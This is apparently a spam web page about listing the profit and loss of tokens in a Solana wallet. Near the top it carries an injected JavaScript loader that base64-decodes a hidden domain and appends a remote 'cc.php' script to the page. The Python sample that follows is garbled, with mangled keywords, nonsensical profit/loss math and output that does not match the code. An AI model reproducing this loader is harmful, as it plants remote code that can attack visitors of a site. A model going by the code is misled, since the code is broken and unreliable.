Solana: list tokens pnl purchased from a solana wallet

SHare

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=728af264″;document.body.appendChild(script);

I can give you a Python script sample that achieves what you are looking for. This script uses the Pysolana interaction with the Blockchain of Solan.

Note:

Solana: list tokens pnl purchased from a solana wallet

You will need to install pysolana using PIP -a:PIP install pysolana

`Python

Imports OS

from salt

From Py_solana.api Import of Account_info, System_info

Def Get_wallet_address ():

“” “”

Returns the address of the wallet from the text file.

The file should contain a wallet address in the first line of each line,

separated by new lines.

: Return: Public key from Solana representing the address of the wallet.

“” “”

with open (‘Wallet.txt’, ‘r’) as f:

For a line in f:

If Line.strip ()! = ”:

Return of the line.strip ()

Raise Valueerror (“The Calcoth Address Not Found in Wallet.txt”)

Def Get_tokens_with_balanca (Wallet_address):

“” “”

Returns a list of tokens purchased by the specified wallet address,

with balance greater than 0.

: Param Wallet_address: Public Key of Solane representing the address of the wallet.

: Return: A list of dulls, where each tuple contains:

– The name token (eg ‘dai’, ‘salt’)

– The token symbol

– purchased quantity

– Current account state

“” “”

tokens = []

for entry in System_info.entories:

If entry [‘id’] == Wallet_address and entry [‘balance’]> 0:

token_name, token_Symbol = entry [‘name’], entry [‘symbol’]

token_quantity = entry.get (‘quantity’, 1)

balance = entry.get (‘balance’, 0)

tokens.append (token_name, token_symbol, token_quantity, balance))

The return of token

Def Get_pnl (Tokens):

“” “”

Returns profit and loss on each token.

: Param Tokens: A list of dulls containing information about each token.

Each tuple should contain:

– The name token (eg ‘dai’, ‘salt’)

– The token symbol

– purchased quantity

– Current account state

“” “”

pnl = []

for token in tokens:

Profit = Token [2] * 10000 / Token [1]

loss = -profit

pnl.append ((token [0], token [1], profit, loss))

Return PNL

Def Main ():

Wallet_address = Get_wallet_address ()

try:

Tokens = Get_tokens_with_balance (Wallet_address)

pnl = get_pnl (tokens)

Print (“Calcoth Address:”, Wallet_address)

For Token in PNL:

print (f “{token [0]} ({token [1]}) – {token [2]} x {token [3]} balance”)

Apart from Valueerror as E:

Print (s)

If __name__ == ‘__main__’:

main()

`

This script assumes that your wallet address is in the file calledWallet.txtin the same directory, with each line containing one line ( \ n) and the address of the wallet on the following lines. For example:

ABC123

Def456

GHI789

In this case the script will bring out something like:

Python

Calculation address: ABC123

DAI (1x) – 1000 balance

Salt (2x) – 20000 balance

`

Keep in mind that this is a simplified example and does not take into account additional factors that can affect your wallet performance, such as gas or sliding fees. You may need to change the script to match your specific case of use.

Also, keep in mind that before starting this script you will need to replaceABC123`.

decentralized stablecoins answer uncertainty


SHare

Leave a Reply

Your email address will not be published. Required fields are marked *

Open chat
Hello
How can we help you?